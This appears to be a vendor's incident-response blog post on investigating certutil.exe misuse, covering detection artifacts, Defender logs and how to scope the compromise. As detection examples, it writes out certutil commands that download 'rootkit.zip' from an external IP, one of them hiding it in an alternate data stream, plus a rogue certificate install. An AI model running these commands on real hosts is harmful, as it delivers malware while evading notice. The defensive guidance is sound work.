This post in the “DFIR Next Steps” series is about what to do when an alert relating to the use of certutil.exe is raised. As with previous posts, we’ll cover how you can take this first indicator and then gather more clues about what happened in the attack.
Scenario
An alert is raised indicating that certutil.exe may have been misused to download files to the host. This may come from Cyber Triage analysis of a host, antivirus detection, SIEM or EDR alert.
When investigating this alert we are looking to:
- Confirm that the event is malicious
- Are there indications of access to bad or suspicious locations?
- What behaviors are regularly used by threat actors?
- Is this tool or command regularly used in the environment?
- Determine if the command executed successfully
- What artifacts are created on success?
- Did detection tools block anything?
- Identify what to look for next
- What level of access was required by the threat actor to launch certutil.exe?
- What can be used to identify the compromised user account?
- What can we use to identify the source system?
- What can be used to identify other compromised hosts?
Certutil.exe Basics
Chris Ray wrote a comprehensive post on how certutil can be used to download attack tools, and the resulting artifacts. In summary, certutil.exe is intended to be used to manage certificates on Windows systems. However, it can also be used to copy files from local or internet based hosts to the local file system, including alternate data streams.
There are two key artifacts relating to the use of certutil.exe:
- Process information: Full command strings should be available in the security event log (4688 if auditing is enabled) or EDR. Indications of certutil execution can also be found in prefetch files, although this will not include full arguments.
- CryptNetURLCache files: The CryptNetURLCache contains details of the source URL, encoded copy of the downloaded file, and some timestamp information.
Confirming It’s Malicious
If you become aware of the use of certutil either because you happened to notice it or if an automated tool like Cyber Triage flagged it, then the first step is to confirm if the usage was actually malicious or if it was part of normal system activity.
Here’s what it looks like in Cyber Triage:
The confirmation process is straightforward. If we have the full command, then we can check if:
- Known bad arguments are used
- Attempts are made to connect to a known bad URL
- Attempts are made to connect to a non certificate authority URL
- Attempts to download a suspicious filename
If we do not have the full command string (for example if you have a prefetch reference to certutil.exe), then we will need to look at decoding the CryptNetURLCache files. This will give us access to:
- Source URL(s)
- Downloaded files
Confirm Known Bad Arguments
The two options known to be used by threat actors to download files are -verifyctl and -urlcache. So, if we see either of the following, further investigation is warranted:
certutil.exe -urlcache -split -f http://84.32.190.45/rootkit.zip legitfile.txt:rtkit certutil.exe -verifyctl -f http://84.32.190.45/rootkit.zip
The other potential misuse of certutil would be to install a bad certificate. In which case, we would expect to see -addstore used.
certutil.exe -addstore -f -user maurice.moss cert12343.der
Connection to a Known Bad IP or Domain
In the examples above, we can see files being downloaded from 84.32.190.45. In this case, the IP is based in the Netherlands but at the time of writing was not on any blacklists.
Connection to a Invalid Certificate Repository
While it may be easy (or not) to identify a bad IP or domain, there is also no reason why certutil.exe should be connecting to anything other than a trusted certificate repository. A list of Certificate Authorities can be found at the Common CA Database here: https://www.ccadb.org/resources
Is This Tool or Command Regularly Used In The Environment?
Modifying certificates is not something that you would expect to see happening on a regular basis. There are a couple of ways to check if this is normal behavior:
- Check for other instances of certutil.exe being launched, within Cyber Triage you can run an incident wide search for certutil.exe.
- Ask the user if they were updating certificates!
Did the Command Execute Successfully?
Is There Evidence of File Download?
If certutil was successfully used to download a file, then the file should exist on the filesystem. Depending on the arguments, the filename may be the same as the source, or it may have been renamed. Unless the user has specified an absolute path, you will need to determine the working directory from which certutil was launched, or just run a keyword search for the file.
In this example the created file would be named rootkit.zip
certutil.exe -verifyctl -f http://84.32.190.45/rootkit.zip
In this example the file is saved as an alternate datastream named rtkit attached to the file legitfile.txt.
certutil.exe -urlcache -split -f http://84.32.190.45/rootkit.zip legitfile.txt:rtkit
Below you can see the results of a keyword search for rtkit, clearing showing the existence of the file on the system. As a bonus, we can see tar.exe being used to unpack the downloaded file!
A check of the owner shows that it is the local/richmond account, and the file has been downloaded to the ‘badguytools’ folder!
In addition to the existence of the downloaded file, we can check CryptNetURLCache which will contain (in encoded format) the source URL and a copy of the downloaded file. The CryptnetURLCache files are collected by Cyber Triage and details for decoding them can be found in the previous post on certutil
Did Protection Tools Block Anything?
One thing that I always check when starting a case is what defensive software is installed on the host. Far too often, there are cases where EDR is installed alongside local Anti-virus software and some threats are blocked by the local software before detection by the EDR. As a result, there is useful information about the attack in the local AV logs, which have not been reported to the centralized monitoring system. Cyber Triage will collect Microsoft Defender event logs by default.
In this case, a search of defender event logs for event ID 1116 has found that an attempt to download the rootkit using certutil was blocked by defender.
What Happened Before the Attack?
When considering what other actions may have been taken on the system by the threat actor, it is important to understand where in the attack lifecycle this event has occurred. MITRE ATT&CK classifies this activity as T1105 Ingress Tool Transfer under TA0011 Command and Control. However, this technique can be used to download tools at any stage, once the threat actor has the ability to execute remote commands.
What Level of Access Was Required By The Threat Actor to Launch Certutil.exe?
Administrator level permissions are not required to run certutil.exe, so any account can be used to launch it. All the threat actor needs is the ability to execute commands on the victim host. The only exception to this would be if Windows Defender, or another security product needed to be disabled, in which case local or domain administrator or SYSTEM level privileges would be required.
In our example, a local administrator account was used to run the command. This raises more red flags, and a review of other activity by this user, especially of logon activity, would be a good idea.
In this example, we can see that the user has been active on the system over the past 10 months.
What Can Be Used to Identify The Compromised User Account?
Potential sources that can be used to identify the account used to execute certutil include:
- The location of the CryptNetURLCache records for the download. These will be in the home directory of the user that executed certutil.exe
- User listed in security event logs
- Owner of any downloaded files
What Can We Use To Identify The Source System?
The download URL will include the IP address or domain name of the source system.
What Happened After The Artifact?
What were the capabilities of the downloaded file(s)?
The files were downloaded onto the host for a reason. The downloaded files should be examined and their purpose identified.
If the file(s) are not present on the filesystem, they can be recovered from the CryptNetURLCache. This file can then be hashed and checked against known malware, scanned with antivirus software, and\or detonated in a sandbox.
If the file is an executable, Cyber Triage will have already checked the hash against the Reversing Labs database. If the hash is unknown, the file will have been uploaded and scanned with multiple antivirus engines. However, if the file is extracted from CryptNetURLCache or is an archive (e.g. .zip file), the contents will need to be unpacked and added to Cyber Triage as logical files. The files can be detonated in the Recorded Future sandbox by right clicking and selecting the “submit to Recorded Future” option.
In our case the files in the zip file were all malicious, and automatically detected during the initial scanning during ingestion into Cyber Triage.
What Can Be Used to Identify Other Compromised Hosts?
At the network level, a search of firewall, proxy, EDR, or DNS logs should identify other hosts that have connected to the download source. References to the source can be found on hosts in DNS cache, active network connections, and process arguments. An incident search in Cyber Triage will identify any collected hosts that have also accessed the download server.
Conclusion
Certutil.exe is a Windows utility present in all versions of Microsoft Windows since Vista. It can be exploited to download files from any remote system via http or https.
If a suspicious use of certutil.exe is identified, you should verify that it is malicious, identify the user account that launched it and server hosting the downloaded files, examine the capabilities of the downloaded file, and start searching for other impacted hosts.
A review of all activity by the compromised account should be conducted in order to determine other actions taken by the threat actor and how they were able to execute the command on the compromised host.
If you want to make your remote access investigations more efficient, try out Cyber Triage with the free 7-day evaluation.
